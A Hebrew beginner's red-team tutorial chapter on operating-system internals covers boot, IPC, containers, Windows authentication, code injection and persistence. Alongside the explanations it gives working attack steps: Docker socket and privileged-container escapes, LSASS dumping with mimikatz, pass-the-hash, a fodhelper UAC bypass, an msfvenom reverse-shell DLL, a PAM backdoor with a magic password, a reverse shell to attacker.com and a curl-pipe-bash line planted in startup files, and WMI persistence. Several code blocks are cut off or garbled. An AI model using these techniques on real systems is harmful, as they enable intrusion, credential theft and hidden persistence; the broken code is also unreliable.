

מערכות הפעלה: עומק, מנגנונים והזרקה

מדריך מלא למתחילים — בעברית

פרק 1ב — מערכות הפעלה: עומק, מנגנונים והזרקה

< מה צריך לדעת לפני שמתחילים:

< פרק זה מתבסס ישירות על פרק 1. מניח שאתה מכיר: תהליכים, PID, הרשאות, file descriptors, syscalls, /proc, Registry, SUID, signals. לא נחזור על אלה.

תהליך האתחול — מה קורה לפני ש-Linux קם

לחצת כפתור הפעלה. הצג עדיין שחור. מה קורה בשניות האלה?

שלב 1: BIOS / UEFI — הקוד שנמצא על הלוח האם

(**BIOS (Basic Input/Output System)** הוא קוד ישן (משנות ה-70!) שמאוחסן על **chip** על הלוח האם — לא על הדיסק. כשהחשמל מגיע, המעבד קופץ ישירות לכתובת הזאת ומריץ אותו.

(**UEFI (Unified Extensible Firmware Interface)** הוא הגרסה המודרנית של BIOS. הרבה יותר חכם — יכול להריץ drivers, לתמוך בדיסקים גדולים, ויש לו ממשק גרפי.

מה ה-BIOS/UEFI עושה:

- POST (Power-On Self Test)** — בדיקה עצמית: "האם יש RAM? האם המעבד עובד? האם יש דיסק?"
- גילוי חומרה** — מה מחובר: כמה RAM, איזה CPU, איזה כרטיס מסך
- חיפוש Boot Device** — לפי סדר שהגדרת (USB ראשון? דיסק ראשון?)
- טעינת Bootloader** — מטעין את ה-"מקשר" בין firmware ל-OS

לחיצה על כפתור

↓

UEFI/BIOS – POST, גילוי חומרה

↓

Boot Device נבחר (USB / SSD / HDD)

↓

Bootloader-Boot Sector נטען מה

↓

טוען את הקרנל Bootloader

↓

הקרנל מאתחל את המערכת

↓

עולה (PID 1) systemd

↓

שירותים ודסקטופ עולים

שלב 2: Bootloader — ה"מקשר"

GRUB (Grand Unified Bootloader) הוא ה-bootloader הנפוץ בלינוקס. הוא יושב בתחילת הדיסק (MBR — Master Boot Record) או ב-EFI partition.

מה GRUB עושה:

1. מציג תפריט (אם הגדרת) — "לינוקס? Windows? לינוקס גרסה ישנה?"
2. טוען את קובץ הקרנל מהדיסק לזיכרון (`vmlinux`)
3. טוען `initrd/initramfs` — "דיסק RAM ראשוני" (נסביר מיד)
4. מעביר שליטה לקרנל

```
# ראה את הגדרות GRUB:
cat /etc/default/grub

# GRUB_DEFAULT=0          ראשון item: ברירת מחדל ←
# GRUB_TIMEOUT=5          חכה 5 שניות לבחירה ←
# GRUB_CMDLINE_LINUX_DEFAULT="quiet splash" פרמטרים לקרנל ←

# ראה את כל ה-boot entries:
cat /boot/grub/grub.cfg
```

שלב 3: initrd/initramfs — הדיסק הזמני

הקרנל צריך לטעון drivers כדי לדבר עם הדיסק — אבל ה-drivers נמצאים על הדיסק. ביצה ותרנגולת. הפתרון: **initramfs** — תמונת filesystem שנטענת ל-RAM לפני שהדיסק "עולה". מכילה מינימום drivers נחוצים. הקרנל מאתחל איתה, טוען מה שצריך, ואז עובר ל-filesystem האמיתי.

```
# ראה מה יש ב-initramfs:
lsinitramfs /boot/initrd.img-$(uname -r) | head -50

# lsinitramfs = קובץ תוכן קובץ initramfs
# uname -r = גרסת הקרנל הנוכחית

# קובץ הקרנל עצמו:
ls -lh /boot/vmlinuz*

# -rw-r--r-- root root 9.5M /boot/vmlinuz-6.1.0-generic
```

שלב 4: Kernel Initialization

הקרנל קם ועושה:

1. מאתחל CPU, זיכרון, scheduler
2. mount ה-root filesystem
3. מריץ `/sbin/init` — שהוא היום (PID 1) `systemd`
4. `systemd` מריץ כל שאר השירותים לפי targets (runlevels)

```
# הצג הודעות הקרנל מאתחול:
dmesg | head -100

dmesg | grep -i error      # שגיאות בלבד
dmesg | grep -i usb       # USB devices

journalctl -k             # kernel messages דרך journald
journalctl -b             # הנוכחי boot-כל מה מה
```

Secure Boot — נעילה של Boot Process

Secure Boot הוא מנגנון ב-UEFI שמוודא שה-bootloader חתום דיגיטלית על ידי Microsoft (או CA מהימן). אם ה-bootloader לא חתום — UEFI מסרב לטעון אותו.

למה קיים: malware — Bootkits שמדביק את ה-bootloader. כשהמערכת עולה, ה-malware כבר פעיל לפני כל ה-Secure Boot. AV. אמור למנוע זאת.

```
# האם Secure Boot פעיל?  
mokutil --sb-state  
# SecureBoot enabled ← פעיל  
# SecureBoot disabled ← כבוי
```

ל-**Red Teaming**: Secure Boot עוקף = UEFI rootkit. כלים כמו **BootHole** ניצלו פגיעויות ב-GRUB עצמו כדי לעקוף Secure Boot. מתקפות על שלב האתחול הן הקשות ביותר לגילוי.

IPC — תקשורת בין תהליכים

ב-פרק 1 ראינו שלתהליכים יש מרחב זיכרון פרטי. אז איך שני תהליכים מדברים אחד עם השני?

דרך **IPC — Inter-Process Communication**. יש כמה מנגנונים:

1. Pipes (כוי)

ראינו כבר ב-פרק 1 — **|** בסיסי. Pipe רגיל הוא **כיווני אחד ואנונימי** (לא יכולים לגשת אליו בשם).

pipe — Named Pipe (FIFO) בעל שם, קובץ במערכת הקבצים:

```
# צור Named Pipe  
mkfifo /tmp/mypipe  
  
# תהליך 1 – כותב:  
echo "hello secret" > /tmp/mypipe  
# ← עוצר! מחכה שמישהו יקרא  
  
# תהליך 2 – קורא (בטרמינל אחר):  
cat /tmp/mypipe  
# hello secret  
  
# ראה שזה pipe ולא קובץ רגיל:  
ls -la /tmp/mypipe  
# prw-r--r-- ... /tmp/mypipe  
# (לא '-' של קובץ רגיל) pipe = 'p' ↑
```

ל-Red Teaming: Named pipes הם שיטה ל-C2 (Command and Control) ב-Windows — שרת C2 ושיירת (agent) מתקשרים דרך named pipe. פחות "חשוד" מחיבור רשת. `\\.\\pipe\\name`.

2. Shared Memory — זיכרון משותף

הקרנל יוצר אזור זיכרון אחד שגם תהליך A וגם תהליך B רואים. הכי מהיר — אין העתקת נתונים.

```
# הצג shared memory segments
ipcs -m

# ----- Shared Memory Segments -----
# key          shmid    owner    perms    bytes
# 0x00000000 65536    postgres 600      524288

# ב-Linux מודרני, /dev/shm הוא filesystem ב-RAM
ls /dev/shm

# processes לבין shared memory-משתמש ב-Chrome ← chrome.xxx

# צור shared memory object
# (בדרך כלל ב-mmap, shm_open) (C:
```

ל-Red Teaming: מידע רגיש עובר לפעמים דרך shared memory — קריאה של `/proc/[pid]/mem` על תהליך שמשתמש ב-shared memory יכולה לחשוף credentials.

3. Unix Domain Sockets

כמו network sockets (TCP/UDP), אבל מקומיים — נמצאים בקובץ, לא ברשת. הרבה יותר מהיר מ-network sockets.

```
# מצא כל Unix sockets
ss -xl

# רואים למשל:
# /run/systemd/journal/socket ← journald
# /var/run/docker.sock ← Docker daemon!
# /tmp/.X11-unix/X0 ← X11 display server
# /run/mysqld/mysqld.sock ← MySQL

# נגיש לכולם? בדוק:
ls -la /var/run/docker.sock

# srw-rw---- root docker ← רק root ו-group docker
```

ל- `/var/run/docker.sock` **Red Teaming:** הוא אחד ה"אוצרות הנסתרים". אם תהליך שלך יכול לגשת ל-Docker socket — אתה שולט ב-Docker daemon → יכול להריץ container מורשה → **escape מה-container ל-host!**

```
# אם יש גישה ל-docker.sock — יצירת container עם גישה ל-host:
docker -H unix:///var/run/docker.sock run --rm -v /:/host -it alpine chroot /host sh

# ← מריץ alpine container, מ-mount את כל ה-host filesystem, ומקבל shell
```

4. D-Bus — "שדרת ההודעות" של לינוקס Desktop

D-Bus הוא מערכת messaging בין תהליכים, נפוץ מאוד ב-Linux desktop. תוכנות מדברות אחת עם השנייה דרכו.

```
# ראה שירותים על D-Bus
dbus-send --session --print-reply --dest=org.freedesktop.DBus \
  /org/freedesktop/DBus org.freedesktop.DBus.ListNames

# ל-Red Teaming: D-Bus services:
# busctl — כלי מודרני:
busctl list

# מחשוף systemd ראה מה
busctl tree org.freedesktop.systemd1
```

Containers הבסיס של Cgroups ו-Namespaces

Container (כמו Docker) הוא לא מכונה וירטואלית. זה רק תהליך רגיל שחי בתוך Linux Namespaces. ממש אותו קרנל, ממש אותו מחשב — רק "מחיצות" מבודדות.

Linux Namespaces — "חיצוניות" שונות

Namespace מאפשר לתהליך לראות **תמונה שונה** של המשאב הזה. כמו מראות — כל namespace מציג עולם שונה.

Namespace	מה הוא מבודד	דוגמה
PID	מרחב מספרי PID	Container "רואה" PID 1 כ-process שלו, לא systemd
Network	כרטיסי רשת, routing	Container יש כרטיס רשת וירטואלי משלו
Mount	מבנה filesystem	Container רואה "/" שלו, לא ה-host /
UTS	hostname	Container יכול לקרוא לעצמו שם שונה
User	UID/GID	UID 0 ב-container ≠ UID 0 ב-host
IPC	shared memory, semaphores	בידוד IPC

```
# ראה namespaces של תהליך:
ls -la /proc/[PID]/ns/

# lrwxrwxrwx ... cgroup -> cgroup:[4026531835]
# lrwxrwxrwx ... ipc -> ipc:[4026531839]
# lrwxrwxrwx ... mnt -> mnt:[4026531840]
# lrwxrwxrwx ... net -> net:[4026531992]
# lrwxrwxrwx ... pid -> pid:[4026531836]
# לכל תהליך, inode שונה = namespace שונה = בידוד

# הרץ פקודה ב-namespace חדש (unshare):
sudo unshare --pid --fork --mount-proc bash

# ← bash משלו namespace-PID-שרץ ב bash!

ps aux

# USER PID COMMAND
# root 1 bash ← bash הוא PID 1 ב-namespace!
# root 2 ps aux
```


Cgroups — הגבלת משאבים

Cgroup (Control Group) קובע כמה של כל משאב תהליך יכול לקבל — CPU, RAM, disk I/O, .network

בלי cgroups: container יוכל לאכול כל ה-RAM ולהרוג את ה-host. עם cgroups: "מקסימום 512MB RAM, מקסימום 50% CPU".

```
# ראה cgroups
ls /sys/fs/cgroup/
# cpuset cpu cpuacct memory blkio ...

# ראה cgroup של תהליך:
cat /proc/[PID]/cgroup
# 12:blkio:/docker/abc123...
# 11:memory:/docker/abc123...
# ← ניכר שזה Docker container

# הגבל RAM של process (דרך cgroup):
# (עושה זאת אוטומטית, אבל ידנית Docker)
echo 512M > /sys/fs/cgroup/memory/mygroup/memory.limit_in_bytes
```

Container Escape — יציאה מה-Container

Container אמור לבודד. אבל יש מצבים שבהם אפשר **לברוח** ל-host:

1. **Docker socket מ-mount:**

```
# אם בתוך container יש:
ls /var/run/docker.sock
# → שולט ב-Docker → יוצא (ראינו מקודם)
```

2. **Privileged Container:**

```
# אם container הורץ עם --privileged:
docker run --privileged ...
# → יש גישה לכל devices ב-host
# → אפשר לעשות:
fdisk -l          # רואה דיסקים של host
mount /dev/sda1 /mnt  # mount של הדיסק של host
chroot /mnt bash    # shell ב-host filesystem!
```

3. כתיבה ל-`/proc/sysrq-trigger`:

```
# ב-container מורשה:
echo 1 > /proc/sysrq-trigger
# → reboot ל-host
```

4. **Userspace Namespace Escalation (CVE-based)**:

פגיעויות בקרנל שמאפשרות לתהליך ב-namespace "לצאת".

Windows Authentication Internals — איך Windows מוודא זהות

זה אחד הנושאים החשובים ביותר ב-Windows Red Teaming.

SAM — מאגר הסיסמאות המקומי

SAM (Security Account Manager) הוא ה-database של Windows למשתמשים וסיסמאות מקומיים. נמצא בקובץ:

```
C:\Windows\System32\config\SAM
```

אבל: הקובץ **נעול** כשWindows פועל — אפילו Administrator לא יכול לפתוח אותו ישירות.

הסיסמאות ב-SAM מאוחסנות כ-**NTLM Hash** — לא הסיסמה עצמה. NTLM Hash זה:

```
MD4(password_in_unicode)
```

לדוגמה: Password123 → 58a478135a93ac3bf058a5ea0e8fdb71

למה Hash ולא סיסמה? Windows לא "צריך" לדעת את הסיסמה — הוא רק צריך לוודא שאתה יודע אותה. הוא שומר את ה-Hash ומשווה.

NTLM Authentication — כיצד עובד

כשאתה מכניס סיסמה ב-Windows:

```
1. אתה: "אני alice עם סיסמה Password123"
2. Windows: "bytes מחרוזת אקראית של 8 – Challenge כאן"
3. אתה: "הנה: Response → XOR Challenge (NTLM_Hash(Password123))"
4. Windows: השמור ומשווה Hash-מה Response-מחשב בעצמו את ה
5. שוויון → כניסה!
```

למה זה חשוב?

Pass-the-Hash: התוקף לא צריך **לפצח** את ה-Hash לסיסמה. הוא יכול **להשתמש ב-Hash עצמו** כסיסמה! כי Windows בודק את ה-Hash, לא את הסיסמה.

```
# כלי שמשמש ב-Hash ישירות ל-authentication:
# (על Kali Linux – לאחר שגנבנו Hash מה-SAM)
pth-winexe -U 'domain/alice%aad3b435b51404eeaad3b435b51404ee:58a478135a93ac3bf058a5ea0e8f'
# NTLM Hash בפורמט LM_Hash:NT_Hash
# LM_Hash = "aad3b435..." ריק Hash זה (LM disabled)
```

LSASS — הגנן של הסיסמאות

LSASS (Local Security Authority Subsystem Service) הוא התהליך הכי חשוב ב-Windows לאבטחה. כל authentication עובר דרכו.

מה LSASS מחזיק ב-RAM:

- NTLM Hashes של משתמשים מחוברים
- Kerberos tickets
- Plaintext passwords (בגרסאות ישנות / תצורות מסוימות!)
- LSA Secrets

```
# מצא את תהליך LSASS
Get-Process lsass

# Id      : 624
# ProcessName : lsass

# ל-LSASS של Red Teaming – dump memory
# (צריך SeDebugPrivilege – בד"כ Administrator)

# שיטה 1: Create dump file
Task Manager → Processes → lsass.exe → Create dump file

# שיטה 2: procdump (Sysinternals)
procdump.exe -ma lsass.exe lsass.dmp

# שיטה 3: Mimikatz (הכלי הקלאסי)
.\mimikatz.exe "sekurlsa::logonpasswords"

# OUTPUT:
# Authentication Id : 0 ; 12345 (00000000:00003039)
# User Name       : alice
# Domain         : CORP
# NTLM           : 58a478135a93ac3bf058a5ea0e8fdb71
# Password       : Password123 ← plaintext!
```

Protected LSASS (PPL): ב-Windows 10 אפשר להגן על LSASS עם **Protected Process Light**. גם Administrator לא יכול לפתוח memory dump. עקיפה דורשת kernel-level access.

Access Tokens — הזהות של כל תהליך

כשמתמש מתחבר ל-Windows, הוא מקבל **Access Token** — מסמך זהות. כל תהליך שהוא פותח מקבל עותק של ה-Token.

ה-Token מכיל:

- **SID (Security Identifier)** של המשתמש — מספר ייחודי כמו UID בלינוקס
- **SIDs** של כל הקבוצות שהוא חבר בהן
- **Privileges** — הרשאות מיוחדות (SeDebugPrivilege, SeImpersonatePrivilege, ...)

```
# ראה Token של התהליך הנוכחי:
whoami /all
# User: CORP\alice
# Groups:
#   BUILTIN\Administrators
#   CORP\Domain Users
# Privileges:
#   SeShutdownPrivilege      Disabled
#   SeChangeNotifyPrivilege  Enabled
#   SeDebugPrivilege         Enabled ← חזק!

# ראה Token של תהליך ספציפי:
Get-Process -Id 1234 | Select-Object -ExpandProperty Token
```

Token Impersonation — גנוב זהות של תהליך אחר

Impersonation = "ללבוש" את ה-Token של משתמש אחר. כשתהליך עם **SeImpersonatePrivilege** קורא ל- **ImpersonateNamedPipeClient()** — הוא יכול לרוץ כאילו הוא ה-client.

Potato Attacks: משפחה של טכניקות (PrintSpoofer, JuicyPotato, RoguePotato) שניצלות Token Impersonation:

1. תהליך שלנו רץ כ-account **SERVICE** עם **SeImpersonatePrivilege**
2. גורמים ל- **NT AUTHORITY\SYSTEM** (הכי חזק ב-Windows) להתחבר לנו
3. גונבים את ה-Token שלו
4. אנחנו **!SYSTEM**

```
# דוגמה עם PrintSpoofer
.\PrintSpoofer.exe -i -c cmd
# ← cmd.exe כ-SYSTEM!
```

UAC — User Account Control

UAC נוסף ב-Vista. הרעיון: גם אם אתה **Administrator**, תהליכים שלך רצים בהרשאות נמוכות. כשצריך הרשאות גבוהות — מופיעה "Are you sure?" (Elevation Prompt).

איך זה עובד:

1. Administrator מתחבר → מקבל שני High Privilege-I tokens: Low Privilege

2. תהליכים מתחילים עם Low Privilege Token

3. כשצריך UAC — elevation שולח High Privilege Token

4. ה-"Are you sure?" prompt

```
# בדיקת UAC level
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"

# פעיל UAC ← EnableLUA = 1
# ConsentPromptBehaviorAdmin:
# 0 = ללא prompt (elevation אוטומטי)
# 2 = prompt ל-secure desktop
# 5 = prompt (ברירת מחדל)
```

UAC Bypass — עקיפת ה-"Are you sure?"

יש עשרות UAC bypasses. הרעיון: מצא תוכנה ש-Windows בוטח בה ו"מרים" אוטומטית — ואז "הזרק" קוד אליה.

דוגמה קלאסית: fodhelper.exe

```
# fodhelper.exe = Optional Features installer. High Integrity, Auto-elevate
# לפני הרצה: בדיקת Registry key שהוא קורא:
$registryPath = "HKCU:\Software\Classes\ms-settings\shell\open\command"
New-Item -Path $registryPath -Force
Set-ItemProperty -Path $registryPath -Name "(Default)" -Value "cmd.exe" -Force
Set-ItemProperty -Path $registryPath -Name "DelegateExecute" -Value "" -Force
Start-Process "C:\Windows\System32\fodhelper.exe"
# ← cmd.exe נפתח elevated!
```

ל-Red Teaming: UACME — אוסף של 70+ UAC bypass טכניקות.

<https://github.com/hfiref0x/UACME>

Code Injection — הזרקת קוד לתהליכים

Code Injection = גרימה לתהליך אחר להריץ קוד שלנו. יוצר:

- Persistence — קוד "חי" בתוך תהליך לגיטימי

- Privilege Escalation — אם תהליך המטרה רץ בהרשאות גבוהות
- Detection Evasion — קוד רץ "בתוך" chrome.exe, לא malware.exe

DLL Injection — Windows

DLL (Dynamic Link Library) = ספרייה שנטענת לזיכרון תהליך. DLL Injection = גרימה לתהליך לטעון DLL שלנו.

תהליך ה-DLL Injection הקלאסי:

1. `OpenProcess(target_pid)` → לתהליך המטרה `handle` קבל
2. `VirtualAllocEx(handle, ...)` → הקצה זיכרון בתהליך המטרה
3. `WriteProcessMemory(handle, ...)` → לזיכרון שהוקצה DLL-כתוב את שם ה
4. `CreateRemoteThread(handle, LoadLibrary, dll_path)` → בתהליך המטרה `LoadLibrary` הרץ
5. `LoadLibrary` → שלנו רץ `DllMain()` שלנו DLL-טוענת את ה

// pseudo-code – DLL Injection:

```
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, target_pid);
LPVOID mem = VirtualAllocEx(hProcess, NULL, strlen(dll_path), MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, mem, dll_path, strlen(dll_path), NULL);
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
    (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA",
    mem, 0, NULL);
```

גרסה מודרנית: רבים משתמשים ב-**Reflective DLL Injection** — ה-DLL "מזריק עצמו" בלי `LoadLibrary`, מה שמקשה על גילוי.

Process Hollowing — "ריקון" תהליך

Process Hollowing = יצירת תהליך לגיטימי ב"השהייה", ריקון הקוד שלו, ומילוי בקוד שלנו. ל-AV נראה כמו תהליך לגיטימי.

1. `CreateProcess("svchost.exe", CREATE_SUSPENDED)` → מושהה (עדיין לא רץ) `svchost.exe` יצור
2. `ZwUnmapViewOfSection` → מהזיכרון `svchost` רוקן את הקוד של
3. `VirtualAllocEx` → הקצה זיכרון חדש
4. `WriteProcessMemory` → כתוב קוד שלנו
5. `SetThreadContext` → לכתובת שלנו `Instruction Pointer` שנה
6. `ResumeThread` → `svchost.exe` התחל! – עכשיו הקוד שלנו רץ בתוך

DLL Search Order Hijacking

כשתוכנה ב-Windows מנסה לטעון `example.dll`, היא מחפשת בסדר:

1. תיקיית הקובץ עצמו
2. `C:\Windows\System32`
3. `C:\Windows\System`
4. `C:\Windows`
5. Working directory הנוכחי
6. תיקיות ב-`%PATH%`

אם אפשר לכתוב לתיקייה שמגיעה לפני המקום האמיתי ב-DLL Hijack → `PATH`:

```
# מצא executables עם DLL hijack vulnerabilities
# כלי: Procmon (Process Monitor) – צפה ב-CreateFile events שכושלים
# Process Monitor → Filter → Result: NAME NOT FOUND + Path: *.dll
# → אלה DLLs שהתוכנה מחפשת ולא מוצאת
# → שים DLL שלך שם!

# דוגמה: נניח שהרצת procmon ומצאת:
# C:\Users\alice\Documents\missing.dll  NAME NOT FOUND
# ← צור שם DLL שלך:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=... LPORT=... -f dll -o missing.dll
# ← העתק ל-C:\Users\alice\Documents
# ← בפעם הבאה שהתוכנה תרוץ, ה-DLL שלך ייטען!
```

LD_PRELOAD Hijacking — Linux

בלינוקס, `LD_PRELOAD` הוא משתנה סביבה שאומר ל-dynamic linker לטעון ספרייה לפני כל שאר הספריות.

כל פונקציה שנגדיר בספרייה שלנו תדרוס את הפונקציה המקורית!


```

# דוגמה: נדרוס את 'puts' (פלט טקסט):
cat > /tmp/evil.c << 'EOF'
#include <stdio.h>
#include <unistd.h>

// דורס puts()
int puts(const char *msg) {
    printf("[HOOKED puts] original: %s\n", msg);
    // אפשר להוסיף קוד זדוני כאן
    return 1;
}
EOF

# קמפל ל-spos שתרף:
gcc -shared -fPIC -o /tmp/evil.so /tmp/evil.c

# הרץ תוכנה עם ה-hook שלנו:
LD_PRELOAD=/tmp/evil.so ls
# [HOOKED puts] original: ...
# ← כל קריאה ל-puts עוברת דרכנו!

```

ל-Red Teaming — שימוש מעשי:

```
# דרוס open() כדי לתעד כל קובץ שנפתח:
cat > /tmp/log_opens.c << 'EOF'

#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#include <fcntl.h>

int open(const char *path, int flags, ...) {
    int (*original_open)(const char*, int, ...) = dlsym(RTLD_NEXT, "open");
    FILE *log = fopen("/tmp/opens.log", "a");
    fprintf(log, "%s\n", path);
    fclose(log);
    return original_open(path, flags);
}
EOF

gcc -shared -fPIC -o /tmp/log_opens.so /tmp/log_opens.c -ldl
LD_PRELOAD=/tmp/log_opens.so ssh user@host

# כעת /tmp/opens.log מכיל כל קובץ ש-ssh פתח – כולל SSH keys
```

LD_PRELOAD ו SUID: על קובצי LD_PRELOAD, SUID, **מתוגדל!** הקרנל מסיר אותו כדי למנוע הזרקה להתוכנות מורשות. לכן אי אפשר פשוט לכתוב LD_PRELOAD על sudo.

proc/[pid]/mem/ — קריאת זיכרון תהליך

ראינו ב-פרק 1 שקיים `/proc/[pid]/mem`. בואו נבין איך בפועל משתמשים בזה לשאיבת credentials.

הרעיון: תהליך שמריץ `sudo`, SSH agent, או כל תהליך שמחזיק סיסמאות ב-RAM — אפשר לקרוא את הזיכרון שלו.

```

# שאיבת credentials מ-sudo בזמן אמת:
# (מניחים שיש הרשאות sudo או UID זהה לתהליך)

# קצת Python pseudo-code:
cat > /tmp/read_mem.py << 'EOF'
import re, sys

pid = int(sys.argv[1])

# קרא את מפת הזיכרון
with open(f"/proc/{pid}/maps") as maps_file:
    maps = maps_file.readlines()

# קרא את הזיכרון עצמו
with open(f"/proc/{pid}/mem", "rb", 0) as mem_file:
    for line in maps:
        # דוגמה: ... 7f3a4b200000-7f3a4b280000 rw-p
        m = re.match(r"([0-9a-f]+)-([0-9a-f]+) rw", line)
        if m:
            start = int(m.group(1), 16)
            end = int(m.group(2), 16)
            if end - start > 50 * 1024 * 1024: # chunks 50-מ דלג על
                continue
            try:
                mem_file.seek(start)
                chunk = mem_file.read(end - start)

                # חפש strings מעניינים:
                for s in re.findall(b"[\x00-\x1f\x7f-\xff]{8,}", chunk):
                    print(s.decode("utf-8", errors="ignore"))
            except:
                pass

EOF

# הרץ (דורש הרשאות):
sudo python3 /tmp/read_mem.py $(pgrep -f "sudo")

```

NTFS — קבצים נסתרים ב-NTFS — Alternate Data Streams

ADS (Alternate Data Streams) הוא פיצ'ר של NTFS (מערכת הקבצים של Windows) שמאפשר לצרף "זרמי נתונים" נוספים לקובץ — בנפרד מה-primary stream.

הפשטה: קובץ ב-NTFS = `filename.txt:stream_name:$DATA`. stream הרגיל הוא `filename.txt:hidden:$DATA`. אבל אפשר להוסיף `filename.txt::$DATA`.

```

# כתוב נתונים נסתרים לקובץ:
echo "נתוני סיסמה: admin:Password123" > innocent.txt:hidden_data

# קרא אותם:
more < innocent.txt:hidden_data
# נתוני סיסמה: admin:Password123

# הצג קובץ רגיל – נראה ריק:
type innocent.txt
# (ריק)
dir innocent.txt
# 0 bytes      ← הוא 0 primary stream גודל ה!

# הצג עם R/ – כולל streams:
dir /R innocent.txt
# innocent.txt:hidden_data:$DATA      35
# ← קיים, 35 bytes

# הרץ EXE מ-ADS:
type C:\Windows\System32\cmd.exe > innocent.txt:cmd
wmic process call create "C:\Windows\System32\wscript.exe //NoLogo innocent.txt:cmd"
# ← cmd.exe מתוך innocent.txt!

# גלה ADS עם PowerShell:
Get-Item -Path "innocent.txt" -Stream *

# FileName Stream Length
# -----
# ...      :$DATA      0
# ...      hidden_data 35

# מצא ADS בתיקיה:
Get-ChildItem -Recurse | ForEach-Object {
    $streams = Get-Item $_.FullName -Stream * | Where-Object Stream -ne ':$DATA'
    if ($streams) { Write-Output "$($_.FullName): $($streams.Stream)" }
}

```

- הסתרת EXE/DLL בתוך קובץ לגיטימי
- Persistence — "קובץ" שנראה ריק מריץ קוד
- Exfiltration — שמירת נתונים שלא יראו ב-dir רגיל

נגד ADS: כלים כמו Defender, Streams.exe (Sysinternals), מנסה לסרוק streams.

Linux Kernel Modules — קוד שרץ בקרנל

Kernel Module (LKM) = קוד שניתן לטעון לקרנל בזמן ריצה. רץ ב-Kernel Space — גישה מלאה לכל דבר.

דרייברים (מנהלי התקנים) הם modules. לדוגמה: דרייבר כרטיס הרשת, דרייבר Bluetooth.

```
# הצג modules טעונים:
lsmod
# Module                Size  Used by
# nvidia                 35000000  ...
# e1000                  200000  0      ← דרייבר רשת
# ext4                   800000  2

# מידע על module:
modinfo e1000

# טען module:
sudo insmod /path/to/module.ko

# הסר module:
sudo rmmod module_name
```

```
// hello_module.c

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("example");

static int __init hello_init(void) {
    printk(KERN_INFO "Hello from kernel!\n");
    return 0; // 0 = הצלחה
}

static void __exit hello_exit(void) {
    printk(KERN_INFO "Goodbye from kernel!\n");
}

module_init(hello_init);
module_exit(hello_exit);
```

```

:קמפל: #
cat > Makefile << 'EOF'
obj-m += hello_module.o
all:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
EOF
make

:טען: #
sudo insmod hello_module.ko

:ראה output: #
dmesg | tail -5
# [12345.678] Hello from kernel!

:הסר: #
sudo rmmod hello_module

```

Rootkit בסיסי — הסתרת קבצים ותהליכים

Rootkit = module שמסתיר את עצמו ואת פעילות התוקף. הכי קשה לגילוי.

איך rootkit מסתיר קבצים? על ידי **hooking** של system calls:

```

// pseudo-code – Hook של sys_getdents64 (בסיס ls פקודת):
// כשמישהו מריץ ls, אנחנו קוראים לגרסה המקורית אבל מסירים מהרשימה
// כל קובץ שמתחיל ב-"_evil"

asm linkage long hooked_getdents64(unsigned int fd, struct linux_dirent64 *dirent, unsigned
    long ret = original_getdents64(fd, dirent, count);
:עבור כל entry ברשימה:
// אם מתחיל ב-"_evil" → הסר מהרשימה
    return modified_ret;
}

```

גילוי Rootkit:


```
# השווה פלט ls לפלט syscall direct:
# כלי: rkhunter, chkrootkit
sudo rkhunter --check
sudo chkrootkit

# השווה /proc לנוהל "פשוט":
ps aux | awk '{print $2}' | sort -n > /tmp/ps_pids
ls /proc | grep "[0-9]" | sort -n > /tmp/proc_pids
diff /tmp/ps_pids /tmp/proc_pids
# תהליכים ב-proc שלא ב-rootkit ps = מסתיר
```

Advanced Persistence — Persistence מעמיק

Linux — מעבר cron

PAM (Pluggable Authentication Modules): מערכת ה-authentication של לינוקס. אפשר להוסיף module שלנו שיקבל כל סיסמה:

```
// evil_pam.c – PAM module שמקבל magic password
#include <security/pam_modules.h>

PAM_EXTERN int pam_sm_authenticate(pam_handle_t *pamh, int flags, ...) {
    char *password;
    pam_get_authtok(pamh, PAM_AUTHTOK, (const char **)&password, NULL);

    if (strcmp(password, "ev1l_backdoor_2026") == 0)
        return PAM_SUCCESS; // תמיד מאשר עם ה "magic password"

    return PAM_AUTH_ERR; // behavior – אחרת
}
```

```
# קמפל לסוס:
gcc -shared -fPIC -o evil_pam.so evil_pam.c

# הוסף ל-PAM (הכי מסוכן – sudo מושפע!):
echo "auth sufficient /lib/security/evil_pam.so" >> /etc/pam.d/common-auth

# עכשיו: su root, כניסת SSH, כולם מקבלים את הmagic password
```

LD_PRELOAD גלובלי:

```
# !נטען לכל תהליך – /etc/ld.so.preload
echo "/tmp/evil.so" > /etc/ld.so.preload
# כל תהליך במערכת יטען evil.so
# – מסוכן מאוד, גם ל-stability
```

:rc.local

```
# רץ בסוף האתחול (אם קיים) /etc/rc.local:
echo '/bin/bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1" &' >> /etc/rc.local
chmod +x /etc/rc.local
```

:init.d

```
# daemon-נטען כ /etc/init.d/ סקריפט:
cp /path/to/backdoor.sh /etc/init.d/networking-helper
chmod +x /etc/init.d/networking-helper
update-rc.d networking-helper defaults
```

:Profile scripts

```
# user login: כאן רץ לכל script – /etc/profile.d/
echo 'curl -s http://attacker.com/update.sh | bash' > /etc/profile.d/system-update.sh
```

Windows — מעבר ל-Registry Run Keys

WMI Subscriptions חכמה: — Persistence

```
# צור WMI subscription שמריץ קוד כל 5 דקות:
$FilterName = "SystemHealthCheck"
$ConsumerName = "SystemHealthConsumer"

# Filter – "כל 5 דקות":
$Filter = Set-WmiInstance -Namespace "root\subscription" -Class "__EventFilter" -Argument
    Name = $FilterName
    EventNameSpace = "root\cimv2"
    QueryLanguage = "WQL"
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 300 WHERE TargetInstance IS
}

# Consumer – מה להריץ:
$Consumer = Set-WmiInstance -Namespace "root\subscription" -Class "CommandLineEventConsum
    Name = $ConsumerName
    CommandLineTemplate = "powershell.exe -NoProfile -WindowStyle Hidden -Command IEX(New
}

# קשר ביניהם:
Set-WmiInstance -Namespace "root\subscription" -Class "__FilterToConsumerBinding" -Argume
    Filter = $Filter
    Consumer = $Consumer
}
```

```
# ראה WMI subscriptions קיימות:
Get-WmiObject -Namespace root\subscription -Class __EventFilter
Get-WmiObject -Namespace root\subscription -Class __EventConsumer
